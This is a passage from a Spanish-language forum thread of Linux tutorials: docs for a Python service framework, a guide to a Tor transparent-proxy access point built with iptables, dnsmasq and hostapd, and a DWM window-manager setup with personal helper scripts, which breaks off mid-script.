class Handler:
    async def get(self):
        await self.write('Bye!')


Y el cliente puede usar una estructura similar a: <scheme>://<netloc>/greeting/farewell/bye

Módulos:

Los módulos son muy útiles en caso de que se necesite integrar ficheros de python a los complementos, para que la escritura sea más limpia y siga mejores prácticas.

Para crear un módulo es necesario crear primero un servicio, en este caso 'math' (complements/math.py)


Código: python
class Handler:
    async def post(self):
        sum = self.modules.get('sum')
        num1 = self.get_argument('num1', 0)
        num2 = self.get_argument('num2', 0)

        await self.write('Result:' + str(sum.calculate(num1, num2)))


Ahora se debe crear una carpeta con el nombre del servicio mas '-modules' y ahí se agregan ficheros de python como cualquier otro; siguiendo lo que necesita el código anterior:

complements/math-modules/sum.py:

Código: python
def calculate(x, y):
    return x + y


Eso sería todo, muy sencillo y más modular.

Instalación:

Código: bash
git clone --recursive https://github.com/UltraTesla/UTesla.git
cd UTesla


Arch Linux:

Código: bash
sudo pacman -S mariadb


Debian:

Código: bash
sudo apt-get install mariadb-server libmariadb-dev python3-dev


Red Hat Enterprise Linux 8.2

Código: bash
sudo yum install python3-devel gcc mariadb mariadb-server mariadb-devel


General:

Código: bash
sudo systemctl start mariadb.server
python3 -m pip install -r requirements.txt
./UTesla


Es recomendable configurar primero antes de iniciar UTesla (como el nombre de usuario y la contraseña en MySQL)

Contribuyendo:

Al igual que cada proyecto nuevo creado, soy imperfecto y puedo equivocarme, pero con todo el gusto del mundo aceptaré tu contribución, ya sea por código o no, porque hay que recordar que se trata de abarcar muchos idiomas de distintas regiones del mundo y en éso puede haber múltiples defectos.

Notas:


  • No se ha probado en Windows u otro sistema operativo
  • El proyecto usa un protocolo propio y no uno estándar
  • El proyecto no está definido, de eso se encarga el mismo usuario
  • Todo el proyecto fue probado en la versión 3.8.2 y 3.7.3 de python

~ DtxdF
#27
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, esa fascinante red que nos provee una capa extra de seguridad en nuestras comunicaciones. Una red capaz de evadir la censura más torturadora para una persona que reside en un país donde la libertad de expresión es nula o inimaginable. Tor (siglas de The Onion Router), es un proyecto cuyo principal objetivo es desarrollar una red distribuida de baja latencia, superpuesto sobre Internet donde el encaminamiento de mensajes no revela la identidad del usuario.


Un Tor-AP (The Onion Router Access Point), es un sencillo script para la creación de un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con el fin de dirigir todas las conexiones a la red Tor, segurizando así nuestra integridad.

Importante: Recuerde siempre usar conexiones cifradas y seguras para evitar filtrado de datos ya sea por una vulnerabilidad en la misma red o en el nodo de salida.


Herramientas:

Las herramientas que usaremos para estos fines, serán las siguientes:

Requeridas:


  • tor: El software que creará el proxy transparente y nos permitirá segurizar nuestras conexiones
  • iptables (o la herramienta que controla nuestro firewall): El arma secreta de todo este plan lujurioso

Opcionales:


  • nyx: El monitor de la red Tor
  • dnsmasq (o un servidor DHCP y DNS): El que proporcionará una dirección IP a los clientes y resolverá los nombres de dominio a direcciones IP
  • hostapd: El que creará el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en nuestro dispositivo

Instalación de dependencias:

Código: bash
#Requeridos
# Debian
sudo apt-get install tor
# Arch Linux
sudo pacman -S tor

#Opcionales
# Debian
sudo apt-get install dnsmasq dnsmasq-base nyx hostapd
# Arch Linux
sudo pacman -S dnsmasq nyx hostapd


Requerimientos de hardware:

Esta sección es especial, ya que depende de qué queramos o qué tengamos en nuestras manos para ampliar un poco la red.



  • Modo AP en nuestra tarjeta de red inalámbrica: Por si queremos crear un punto de acceso
  • Cables ethernet's y switches (o parecido): En caso de queramos crear la red en LAN en vez de WLAN, aunque pueden crear las dos infraestructuras.
  • Un modem: En mi caso un Modem USB, pero ustedes pueden usar el mismo que les ayuda a leer esto.

Creación:

Quiero aclarar que hace un par de semanas estaba jugando con iptables y tor y me propuse a crear un proxy transparente en mi propia laptop, nada del otro mundo; me puse a investigar para ver si alguien ya había hecho éso, y para mi suerte lo hizo mucho mejor. El usuario hasta tiene un repositorio llamado "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta".

Luego de leer un poco su código, quise agregarle y quitarle un par de líneas (que considero necesarias e innecesarias), también para no perder la conexión con otros equipos (en caso de de crear una red LAN/WLAN).

Aclarado lo anterior, aquí está el código:


Código: bash
#!/usr/bin/env sh

# Ya explicaré como obtener el ID de usuario para la variable TOR_UID
TOR_UID="<El identificar del usuario de tor>" # El Identificador de usuario de Tor
NON_ROUTE="127.0.0.1/8" # Los destinos que no desea enrutar a través de Tor
LOCAL_DNS=53 # El puerto DNS local, por defecto es '53'

# Esta parte se explicará mejor en la configuración de Tor
L_TOR_DNS=5353 # El puerto DNS de Tor para la máquina local
L_TRANS_PORT=9040 # El puerto del proxy transparente para la máquina local

R_TOR_DNS=5354 # El puerto DNS de Tor para las máquinas remotas (como los clientes conectados en LAN/WLAN)
R_TRANS_PORT=9041 # El puerto del proxy transparente para las máquinas remotas

iptables --flush
iptables --table nat --flush

iptables --table nat --append OUTPUT --match owner --uid-owner $TOR_UID --jump RETURN
iptables --table nat --append OUTPUT --protocol udp --dport $LOCAL_DNS --jump REDIRECT --to-ports $L_TOR_DNS
iptables --table nat --append PREROUTING --protocol udp --dport $LOCAL_DNS --jump REDIRECT --to-ports $R_TOR_DNS

for NET in $NON_ROUTE;do
        iptables --table nat --append OUTPUT --destination $NET --jump RETURN

done

iptables --table nat --append OUTPUT --protocol tcp --syn --jump REDIRECT --to-ports $L_TRANS_PORT
iptables --table nat --append PREROUTING --protocol tcp --syn --jump REDIRECT --to-ports $R_TRANS_PORT


Sobre la variable "TOR_UID", es el identificador del usuario de Tor (ya que el software Tor tiene un usuario). Para obtenerlo se hace lo siguiente:

Código: bash
# Para distribuciones basadas en Debian:
id -u debian-tor
# Para distribuciones basadas en Arch Linux o que tenga el mismo nombre de usuario:
id -u tor


El valor resultante es un número, el cual es el identificador de usuario del software Tor. En mi caso:


El valor (en mi caso) es '111' por lo que el valor de 'TOR_UID' es:

Código: bash
TOR_UID=111


Quedando de la siguiente manera:


Lo que tenemos que hacer, es darle permisos de ejecución una vez guardado los cambios:

Código: bash
chmod +x ./tor-ap


Ahora pasemos a la configuración de Tor (en /etc/tor/torrc):

Código: text
ControlPort 9051 # Opcional, es para que nyx se comunique con el controlador de tor
# Cuando Tor necesita asignar una dirección virtual (no utilizada) debido a un comando MAPADDRESS del controlador o la función AutomapHostsOnResolve, Tor elige una dirección no asignada de este rango. Más en 'man 1 tor'.
VirtualAddrNetwork 10.192.0.0/10
# Cuando esta opción está habilitada y recibimos una solicitud para resolver una dirección que termina con uno de los sufijos en AutomapHostsSuffixes, asignamos una dirección virtual no utilizada a esa dirección y devolvemos la nueva dirección virtual. Esto es útil para hacer que las direcciones ".onion" funcionen con aplicaciones que resuelven una dirección y luego se conectan a ella. Más en 'man 1 tor'
AutomapHostsOnResolve 1

#En las siguientes 'secciones' se asigna la dirección predeterminada (127.0.0.1) en la primera, mientras que en la segunda se asigna la dirección '0.0.0.0', con puertos diferentes (así es como funciona).

# Para el loopback
TransPort 9040 # El puerto del proxy transparente
DNSPort 5353 # El puerto del servidor DNS UDP de Tor

# Para la dirección no especificada
TransPort 0.0.0.0:9041
DNSPort 0.0.0.0:5354


Ejecución básica:

En esta sección veremos lo más básico de este tutorial: Hacer una prueba básica en nuestra misma máquina:

Código: bash
sudo -u debian-tor tor # si usas debian; si usas otro (como Arch Linux) el usuario es 'tor'; si usas otra distribución haz una investigación simple para saber cuál es el nombre del software 'tor'. Un pequeño comando que quizá le ayude a alguien: 'cat /etc/passwd | grep -i tor | cut -d':' -f1'. 
sudo ./tor-ap # OJO, ya tienen que tener tor en ejecución, ya sea el daemon o el ejecutable en sí.
curl -i http://ip-api.com/json


La ilustración del resultado:


Ejecución avanzada:

Una vez visto los principios básicos para configurar el enrutamiento hacia tor, vamos a crear el punto de acceso con el fin de compartir la conexión.

Primero lo primero, configuremos algunas cosas de dnsmasq:


Código: text
domain-needed # Los navegadores antiguos tenían una barra que era específica para las búsquedas en los buscadores, pero el usuario por ignorancia usaba la que era para los dominios, lo que provocaba que se perdiera tiempo resolviendo dominios inexistentes, lo que acarreaba en una respuesta DNS "NXDOMAIN". Con esta instrucción se evita eso (aunque los navegadores actuales ya solucionarón ese inconveniente), pero me refiero a los antiguos.
bogus-priv # Evitar que se haga una consulta dns inversa a una dirección local o en el espacio de direcciones
no-resolv # No usar el fichero 'resolv.conf'
# Usar los siguientes nameservers
server=1.1.1.1
server=1.0.0.1
# Configuramos el DHCP para asignar el rango de direcciones en 24h(oras) en las interfaces wlp2s0b1 (la de mi tarjeta de red inalámbrica) y enp1s0f0 (la de ethernet).
# wlp2s0b1 tendrá el siguiente rango: 192.168.0.2 a 192.168.0.254, mientras que el punto de acceso (nosotros) tendrá la dirección 192.168.0.1
# enp1s0f0 tendrá el siguiente rango: 10.42.0.2 a 10.42.0.254, mientras que la máquina local tendrá la siguiente dirección 10.42.0.1
# Nota-1: Tienen que usar sus propias interfaces.
# Nota-2: Recuerden que su tarjeta de red inalámbrica debe admitir el modo AP para que lo puedan crear
dhcp-range=wlp2s0b1,192.168.0.2,192.168.0.254,24h
dhcp-range=enp1s0f0,10.42.0.2,10.42.0.254,24h
# Registramos las consultas y demás (opcional, pero recomendable para la depuración)
log-queries
log-dhcp
log-facility=/var/log/dnsmasq.log


Ahora se asigna las direcciones IPs:

Código: bash
sudo ip a add 192.168.0.1/24 dev wlp2s0b1
sudo ip a add 10.42.0.1/24 dev enp1s0f0


Quiero aclarar que dnsmasq es un daemon, pero para esta demostración y depurar un poco, mejor veamos las consultas que hacen los clientes, tanto DHCP con DNS.

Código: bash
# Desactivamos el servicio
sudo systecmtl stop dnsmasq.service
# Si no tienen systemctl, y usan SysV
sudo service dnsmasq stop


Ahora ejecutamos dnsmasq:

Código: bash
sudo dnsmasq -d -C /etc/dnsmasq.conf
# -d = No ejecutar en segundo plano
# -C = Especificar el archivo de configuración



Hasta aquí todo bien, ahora podemos conectar una PC (por ejemplo), usando ethernet al mini-router que estamos haciendo, asignarnos una dirección IP por medio de nuestro servidor DHCP y probamos nuevamente preguntando nuestros datos:


Expandiendo los horizontes...

Muy bien, hemos llegado sanos y salvos a esta sección, por lo que aumentemos un poco más la "dificultad". Creemos un punto de acceso  ;D

Para lograr nuestro cometido debemos configurar 'hostapd':


Código: bash
sudoedit /etc/hostapd/hostapd.conf


Código: bash
ssid=DtxdF # El nombre de mi red (¿Original? ¿No?)
channel=5 # El canal
hw_mode=g # Esta opción y la compatibilidad con 'N' (la veremos más abajo) depende de su tarjeta y significa la tecnología que admite su tarjeta
auth_algs=3 # 1=WPA; 2=WEP; 3=Ambos
ieee80211n=1 # Compatibilidad con la tecnología 'IEEE 802.11n'
wmm_enabled=1 # QoS
interface=wlp2s0b1 # La interfaz de la tarjeta de red inalámbrica
wpa=2 # La versión 2 de WPA
wpa_passphrase=thisisapasswordsupersecure123@ # Una contraseña super segura
rsn_pairwise=CCMP # (AES) Counter Mode CBC-MAC Protocol


Lo ejecutamos:

Código: bash
sudo hostapd /etc/hostapd/hostapd.conf



Conclusión:


Ahora sabemos cómo crear un Tor-AP para agregar una capa de seguridad a nuestras conexiones, sin necesidad de configurar el navegador o el software que desea conectarse a Internet, sin anteponer un programa que remplaze funciones internas que crean incompatibilidades (como tsocks), sin limites, nada más que la imaginación...

Por cierto, para monitorear los circuitos, podemos usar nyx:


Código: bash
nyx -i 9051


~ DtxdF
#28
Cuando hablamos de un Window Manager (Manejador de Ventanas, en español), no referimos de ese componente del sistema que proporciona al usuario una Interfaz gráfica de usuario (GUI, por sus siglas en Inglés). Pese a que la elección en su mayoría es el Entorno  de Escritorio, Un WM tiene muchas más ventajas en cuanto al ahorro de tiempo y recursos.


Fuente oficial: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

DWM (Dynamic Window Manager), es un administrador de ventanas dinámico para X, éste puede controlar la forma en que se expresan las ventanas en tiempo de ejecución de forma arbitraria según lo decida el mismo usuario. DWM, puede aplicar el diseño con los siguientes métodos:


  • Stacking (conocidos también como flotantes): Este gestor de ventanas representan un símil del escritorio tradicional del que venimos viendo en Sistemas Operativos como Windows y OS X. Éstos apilan cada ventana una delante de otra dando el aspecto a varias hojas de papel unidas.
  • Tiling (conocidos también como de tipo mosaico): Éstos no superponen las ventanas al contrario de su hermano anterior, además de que usan un catalogo extendidos de atajos en el teclado ahorrando más tiempo (e incluso recursos). Los gestores de ventanas tipo tiling se nota la exclusividad del uso del teclado, mientras que el ratón ya es opcional.
  • Dynamic: Es el caso de DWM que permite alternar entre tipo "Stacking" o "Tiling" a decisión del usuario.

Una vez aclarado los aspectos principales para adentrarnos más en estos mundos, pasemos a la práctica...

Descarga:

Antes que nada, debemos tener instalado 'git', 'gcc' y 'make' para poder clonar el repositorio e instalar todo parsimonioso:

Debian y derivados:


Código: bash
sudo apt-get install git build-essential


O en caso de no tener 'sudo' instalado

Código: bash
su
apt-get install git build-essential


Archlinux y derivados:

Código: bash
sudo pacman -S git gcc make


O en caso de no tener 'sudo' instalado

Código: bash
su
pacman -S git gcc make


Ahora clonamos el repositorio:

Código: bash
git clone http://git.suckless.org/dwm
cd dwm


Tutorial:

Quiero aclarar que este tutorial está enfocado a los usuarios noveles, los que desean aprender más sobre estos mundillos tan hermosos y llenos de libertad. Pese a que tocaremos código en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, trataré de no hacer mención de qué significa cada cosa, en su lugar dejaré textos enlazados a los conceptos para no embotar el tema principal y dedicarme a la configuración y uso de DWM.


Una vez hemos descargado DWM, pasemos a la configuración, pero antes necesitaremos instalar un lanzador de aplicaciones. Tenemos dos opciones: dmenu ó rofi (mi preferido).

Instalación en Archlinux y derivados:

Código: bash
# dmenu
sudo pacman -S dmenu
# rofi
sudo pacman -S rofi


Instalación en Debian y derivados:

Código: bash
# dmenu
sudo apt-get install suckless-tools
# rofi
sudo apt-get install rofi


Esos programas nos van a permitir poder ejecutar aplicaciones (estilo un menú de un Entorno de Escritorio, pero será invocado cuando deseemos).

En el caso de Debian a mí me faltaron instalar algunas dependencias, pero para Arch no fue el caso. Instalación de las depencias en Debian:

Código: bash
sudo apt-get install libx11-dev libxinerama-dev


Importante: Si faltaron mencionar dependencias o en el caso de Arch, te faltaron dependencias, hazmelo saber para editar este documento y mencionarlas, todos te lo agradeceríamos.

Ahora viene la parte buena, la configuración.

Para configurar DWM necesitamos abrir el archivo config.def.h con nuestro editor de texto preferido, En mi caso usaré No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:

Código: bash
vim config.def.h



Comandos que se ejecutarán por defecto

Entre la línea 59-60 estarán los comandos que serán ejecutados por DWM y en unos momentos los empezaremos a cambiar.


Combinaciones del teclado

Entre la línea 62-97 encontraremos un listado de combincaciones del teclado. Mientras que en la imagen se aprecia tres dialogos de texto con unas flechas rojas, esas flechas específican lo siguiente:


  • Las primeras combinaciones: Con las "Primeras Combinaciones" me estoy refiriendo a las primeras teclas que llamarán a la variable. En la imagen apreciamos una No tienes permitido ver los links. Registrarse o Entrar a mi cuenta llamada MODKEY, ésa será la tecla principal y por defecto es "ALT" (más tarde veremos como cambiarla).
  • Las segundas combinaciones: Son las segundas teclas que usaremos, por ejemplo, si en la primera combinación se tiene solamente "MODKEY" (ALT) y en la segunda "XK_p", entonces sería básicamente "ALT+p"
  • La variable: Será el nombre que le pusimos en la imagen uno, a los comandos.

Agrego: también notamos que hay una extraña combinación de las "Primeras Combinaciones" en la fila dos, usando el carácter "Barra vertical". Éso se llama No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, pero vamos a verlo mejor como un carácter para combinar teclas.

Agregando programas y combinaciones de teclas:

En la sección anterior pudimos entender un poco DWM, pero en esta sección aprenderemos a agregar programas con sus respectivas combinaciones de teclas. Comencemos.

Volvemos a las líneas 59-60 y modificamos la línea 59 sólo sí se desea cambiar dmenu por rofi (como fue mi caso). Quedando así:



dmenu cambiado a rofi

Cabe notar que cada vez que agregamos un comando necesitamos seguir la siguiente sintaxis:

Código: c
static const char *<nombre de la variable>[] = { "<programa>", NULL };
// o
static const char *<nombre de la variable>[] = { "<programa>", "<parámetro 3>", "<parámetro 2>", NULL };


Nota #1: Los signos '<' (menor qué) y '>' (mayor qué) no los usen, simplemente estoy indicando qué es lo que tienen que remplazar.
Nota #2: Los parámetros del programa pueden ser tantos como éste los requiera y deben ir separados por una ',' (coma) y entrecomillados.
Nota #3: Se debe colocar 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' al final de la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para indicar la finalización del array de caracteres.

Otra cosa, es modificar la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta a ejecutar, que en mi caso será "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta":



URXVT

Compilamos:

Ahora para que nuestra configuración sea efectiva necesitamos copiar 'config.def.h' a 'config.h'. OJO, no es mover, sino copiar en la misma ruta:

Código: bash
cp -v config.def.h config.h


Antes de compilarlo, abrimos 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta' y modificamos la última línea (la 38, para especificar). Cambiamos el valor de la No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 'CC', de 'cc' a 'gcc':


CC a GCC

Estamos cambiando el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta nativo a el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para evitar problemas, aunque no es necesariamente cierto lo que dije, ya que puede que compile perfectamente, pero para evitar incongruencias lo cambiamos. También puede que 'cc' sea un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta a 'gcc', pero ya estas palabras se salen del tema.

Y por último, compilamos con las opciones que hemos hecho:


Código: bash
sudo make clean install



DWM compilado con éxto

Si no tenemos errores, tenemos compilado y listo para ser usado. Pero ahora falta un proceso más para poder usar DWM. Vamos a denominarlos: Método fácil y Método difícil.

Sobre el método fácil vamos a crear un archivo llamado "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" en "$HOME" (nuestra carpeta de usuario) en el cual vamos a insertar el siguiente código:


Código: bash
exec dwm


Luego de hacer lo anterior, iniciamos las No tienes permitido ver los links. Registrarse o Entrar a mi cuentas e iniciando DWM ejecutando:

Código: bash
startx



Mi DWM con modificaciones :-)

Quiero aclarar que cuando hagan todo esto por primera vez, no verán ningún fondo de pantalla, todo estará en negro, pero daré la explicación de cómo cambiar el fondo de pantalla en la sección 'avanzado'. Y por cierto, también verán una barra que indica los 'tags' de DWM.

Sobre el método "difícil", ya depende de nuestro gestor de sesiones, por suerte la mayoría de gestores los aceptaran (hablo del estándar de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), que en mi caso será No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Lo único que debemos hacer es crear un "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" que irá ubicado en '/usr/share/xsessions':


Código: text
[Desktop Entry]
Encoding=UTF-8
Name=Dwm
Comment=Dynamic Window Manager
Exec=dwm-personalized
Icon=dwm.png
Type=XSession


Nota #1: El icono que nos trae el repositorio descargado llamado 'dwm.png'  lo copiamos a '/usr/share/pixmaps'
Nota #2: dwm-personalized es un script que crearemos a continuación.

Antes de iniciar DWM quizá queramos iniciar otras cosas, veamos mi archivo 'dwm-personalized':


Código: bash
#!/usr/bin/env sh

# No quiero la tecnología dpms (Display Power Management System)
xset -dpms
xset s off
xset s noblank

# Defino mi fondo de escritorio
nitrogen --set-centered /home/dtxdf/Pictures/BG-Desktop/bonito.jpg

# Remplazo el proceso actual por dwm
exec dwm


Yo lo tengo en '/usr/local/bin' que me parece ideal para este tipo de archivos:

Código: bash
sudo install --mode 755 dwm-personalized /usr/local/bin


Luego de hacer todo eso, al iniciar LightDM podremos cambiar la sesión a DWM para poder iniciarlo.

Combinaciones por defecto:

En esta sección les indicaré algunas combinaciones de teclas por defecto que quizá les sea de utilidad:


  • ALT+j y ALT+k: Desplazarse entre ventanas de izquierda o derecha
  • ALT+h y ALT+l: Aumentar/Disminuir el tamaño de las ventanas. El efecto se puede apreciar entre dos o más ventanas y se le aplica sólo a la ventana master.
  • ALT+SHIFT+q: Salir de DWM
  • ALT+p: Ejecutar dmenu o rofi
  • ALT+b: Mostrar u ocultar la barra de estado de DWM
  • ALT+[1-9]: Moverse entre tags (con [1-9] me refiero a un rango)
  • ALT+SHIFT+[1-9]: Mover la ventana a un tag específico
  • ALT+m: Modo monocle; coloca la ventana actual o master en pantalla completa
  • ALT+t: Modo mosaico
  • ALT+f: Modo flotante; Las vetanas nuevas se superponen como Windows, OS X o un Entorno de Escritorio
  • ALT+[Botón izquierdo del ratón]: Mantener presionado para que haga efecto; mover una ventana con el mouse, ésto coloca el orden en flotante
  • ALT+[Botón derecho del ratón]: Mantener presionado para que haga efecto; redimensionar una ventana
  • ALT+SHIFT+SPACE: Alternará al modo flotante de la ventana actual
  • ALT+SHIFT+c: Cerrar una ventana
  • ALT+SHIFT+d y ALT+SHIFT+i: Mover una ventana a master o stack
  • ALT+TAB: Desplazarse entre últimos tags que se haya indexado
  • ALT+ENTER: Alterna entre master o stack

Hay muchas combinaciones y pueden agregarle muchas más...

Trucos:

xev es una pequeña utilidad para imprimir los eventos de las X. Este programa nos ayudará a saber qué constante asignar a DWM. Manos a la obra:


xev en ejecución

Como se puede apreciar, en el apartado de 'state' podremos ver el código asignado a esa tecla, además de su constante, que en el último caso era 'Alt_L'.

Con este programa podremos saber qué clave asignar sin tener que buscar en los lugares más recónditos de la web o leer una documentación específica del mismo. Aunque una alternativa más rápida es:

Código: bash
xmodmap -pke




Mis tags

Podremos modificar los nombres de los tags (en la línea 25) a nuestro gusto (como es mi caso), no obstante si no se desea mover con los números del teclado, es mejor modificar el apartado de combinaciones de teclas.

Avanzado:

En esta sección les comparto unos scripts que uso con frecuencia para poder hacer mi vida más fácil, pero antes tengo que compartirles mi archivo de configuración para que puedan entender qué hace qué cosa:

Código: text
/* See LICENSE file for copyright and license details. */

/* appearance */
static const unsigned int borderpx  = 0;        /* border pixel of windows */
static const unsigned int snap      = 32;       /* snap pixel */
static const int showbar            = 0;        /* 0 means no bar */
static const int topbar             = 0;        /* 0 means bottom bar */
static const char *fonts[]          = { "Liberation Mono:size=10" };

static const char dmenufont[]       = "Liberation Mono:size=10";

static const char col_gray1[]       = "#222222";
static const char col_gray2[]       = "#444444";
static const char col_gray3[]       = "#bbbbbb";
static const char col_gray4[]       = "#eeeeee";
static const char col_cyan[]        = "#005577";

static const char *colors[][3]      = {
/*               fg         bg         border   */
[SchemeNorm] = { col_gray3, col_gray1, col_gray2 },
[SchemeSel]  = { col_gray4, col_cyan,  col_cyan  },
};

/* tagging */
static const char *tags[] = { "UXVT", "Firefox", "Documentación" };

static const Rule rules[] = {
/* xprop(1):
* WM_CLASS(STRING) = instance, class
* WM_NAME(STRING) = title
*/
/* class      instance    title       tags mask     isfloating   monitor */
{ NULL,     NULL,       NULL,       0,            0,           -1 }
};

/* layout(s) */
static const float mfact     = 0.55; /* factor of master area size [0.05..0.95] */
static const int nmaster     = 1;    /* number of clients in master area */
static const int resizehints = 1;    /* 1 means respect size hints in tiled resizals */

static const Layout layouts[] = {
/* symbol     arrange function */
{ "[]=",      tile },    /* first entry is default */
{ "><>",      NULL },    /* no layout function means floating behavior */
{ "[M]",      monocle },
};

/* key definitions */
#define MODKEY Mod1Mask
#define TAGKEYS(KEY,TAG) \
{ MODKEY,                       KEY,      view,           {.ui = 1 << TAG} }, \
{ MODKEY|ControlMask,           KEY,      toggleview,     {.ui = 1 << TAG} }, \
{ MODKEY|ShiftMask,             KEY,      tag,            {.ui = 1 << TAG} }, \
{ MODKEY|ControlMask|ShiftMask, KEY,      toggletag,      {.ui = 1 << TAG} },

/* helper for spawning shell commands in the pre dwm-5.0 fashion */
#define SHCMD(cmd) { .v = (const char*[]){ "/bin/sh", "-c", cmd, NULL } }

/* commands */
static char dmenumon[2] = "0"; /* component of dmenucmd, manipulated in spawn() */
//static const char *dmenucmd[] = { "dmenu_run", "-m", dmenumon, "-fn", dmenufont, "-nb", col_gray1, "-nf", col_gray3, "-sb", col_cyan, "-sf", col_gray4, NULL };
static const char *dmenucmd[] = { "rofi", "-show", "run", NULL };
static const char *termcmd[]  = { "urxvt", NULL };
static const char *firefox[] = { "firefox", NULL };
static const char *shutdown[] = { "power-script", "1", NULL }; // APAGAR
static const char *reboot[] = { "power-script", "2", NULL }; // REINICIAR
static const char *cancel[] = { "power-script", "3", NULL }; // CANCELAR
static const char *sessions[] = { "select-session", NULL }; // SELECCIONAR UNA SESIÓN DE TMUX
static const char *bam_connect[] = { "bam-connect", NULL }; // Para conectar el bam
static const char *bam_disconnect[] = { "bam-disconnect", NULL }; // Para desconectar el bam
static const char *screenshot[] = { "scrot-script", "mtpaint", NULL }; // Tomar una captura de pantalla

static Key keys[] = {
/* modifier                     key        function        argument */
{ MODKEY,                       XK_Print,         spawn,          {.v = screenshot} },
{ MODKEY,                       XK_p,      spawn,          {.v = dmenucmd} },
{ MODKEY|ShiftMask,             XK_t,      spawn,          {.v = termcmd} },
{ MODKEY,              XK_F1,     spawn,        {.v = firefox} },
{ MODKEY|ShiftMask,             XK_s,      spawn,          {.v = shutdown} },
{ MODKEY|ShiftMask,             XK_r,      spawn,          {.v = reboot} },
{ MODKEY|ShiftMask,             XK_k,      spawn,          {.v = cancel} },
{ MODKEY,                       XK_s,      spawn,          {.v = sessions} },
{ MODKEY,                       XK_q,      spawn,          {.v = bam_connect} },
{ MODKEY,                       XK_w,      spawn,          {.v = bam_disconnect} },
{ MODKEY,                       XK_b,      togglebar,      {0} },
{ MODKEY,                       XK_j,      focusstack,     {.i = +1 } },
{ MODKEY,                       XK_k,      focusstack,     {.i = -1 } },
{ MODKEY,                       XK_i,      incnmaster,     {.i = +1 } },
{ MODKEY,                       XK_d,      incnmaster,     {.i = -1 } },
{ MODKEY,                       XK_h,      setmfact,       {.f = -0.05} },
{ MODKEY,                       XK_l,      setmfact,       {.f = +0.05} },
{ MODKEY,                       XK_Return, zoom,           {0} },
{ MODKEY,                       XK_Tab,    view,           {0} },
{ MODKEY|ShiftMask,             XK_c,      killclient,     {0} },
{ MODKEY,                       XK_t,      setlayout,      {.v = &layouts[0]} },
{ MODKEY,                       XK_f,      setlayout,      {.v = &layouts[1]} },
{ MODKEY,                       XK_m,      setlayout,      {.v = &layouts[2]} },
{ MODKEY,                       XK_space,  setlayout,      {0} },
{ MODKEY|ShiftMask,             XK_space,  togglefloating, {0} },
{ MODKEY,                       XK_0,      view,           {.ui = ~0 } },
{ MODKEY|ShiftMask,             XK_0,      tag,            {.ui = ~0 } },
{ MODKEY,                       XK_comma,  focusmon,       {.i = -1 } },
{ MODKEY,                       XK_period, focusmon,       {.i = +1 } },
{ MODKEY|ShiftMask,             XK_comma,  tagmon,         {.i = -1 } },
{ MODKEY|ShiftMask,             XK_period, tagmon,         {.i = +1 } },
TAGKEYS(                        XK_1,                      0)
TAGKEYS(                        XK_2,                      1)
TAGKEYS(                        XK_3,                      2)
TAGKEYS(                        XK_4,                      3)
TAGKEYS(                        XK_5,                      4)
TAGKEYS(                        XK_6,                      5)
TAGKEYS(                        XK_7,                      6)
TAGKEYS(                        XK_8,                      7)
TAGKEYS(                        XK_9,                      8)
{ MODKEY|ShiftMask,             XK_q,      quit,           {0} },
};

/* button definitions */
/* click can be ClkTagBar, ClkLtSymbol, ClkStatusText, ClkWinTitle, ClkClientWin, or ClkRootWin */
static Button buttons[] = {
/* click                event mask      button          function        argument */
{ ClkLtSymbol,          0,              Button1,        setlayout,      {0} },
{ ClkLtSymbol,          0,              Button3,        setlayout,      {.v = &layouts[2]} },
{ ClkWinTitle,          0,              Button2,        zoom,           {0} },
{ ClkStatusText,        0,              Button2,        spawn,          {.v = termcmd } },
{ ClkClientWin,         MODKEY,         Button1,        movemouse,      {0} },
{ ClkClientWin,         MODKEY,         Button2,        togglefloating, {0} },
{ ClkClientWin,         MODKEY,         Button3,        resizemouse,    {0} },
{ ClkTagBar,            0,              Button1,        view,           {0} },
{ ClkTagBar,            0,              Button3,        toggleview,     {0} },
{ ClkTagBar,            MODKEY,         Button1,        tag,            {0} },
{ ClkTagBar,            MODKEY,         Button3,        toggletag,      {0} },
};


scrot-script

Dependencias: scrot zenity <programa extra para abrir la imagen> (en mi caso mtpaint)
Descripción: Tomar una captura de pantalla

Código: bash
#!/usr/bin/env sh

declare PROGRAM=$1
declare FILE_NAME=/tmp/scrot.png

if [ ${#*} -lt 1 ];then
    zenity --error --text="Debes seleccionar un programa para que interactúe con la captura de pantalla." --no-wrap
    exit 1

fi

if [ -z "$(which $PROGRAM)" ];then
    zenity --error --text="Ha ocurrido un error, \"$PROGRAM\" no existe" --no-wrap
    exit 2

fi

rm -f "$FILE_NAME";scrot -s "$FILE_NAME" && command "$PROGRAM" "$FILE_NAME"


bam-connect

Dependencias: wvdial
Descripción: Conectar a Internet utilizando el bam

Código: bash
#!/usr/bin/env sh

sudo wvdial


bam-disconnect

Dependencias: wvdial
Descripción: Enviar una señal SIGTERM a wvdial para apagar la conexión con el bam

Código: bash
#!/usr/bin/env sh

sudo killall wvdial


select-session

Dependencias: tmux zenity urxvt
Descripción: Permite seleccionar una sesión de tmux que esté oculta y en ejecución.

Código: bash
#!/usr/bin/env bash

declare -x aux
declare -x aux_sessions
declare -x session_name
declare -x session_info
declare -x execute
declare -x val
let n=0

IFS_BAK=$IFS
IFS="
"

show_sessions() {
for i in $(tmux ls);do
echo -n "$i;"

done

}

tmux ls > /dev/null 2> /dev/null

if [ $? -eq 1 ];then
zenity --text="Por ahora no tiene sesiones en tmux Sr. DtxdF :3" --no-wrap --info
exit 1

fi

aux_sessions=$(show_sessions)
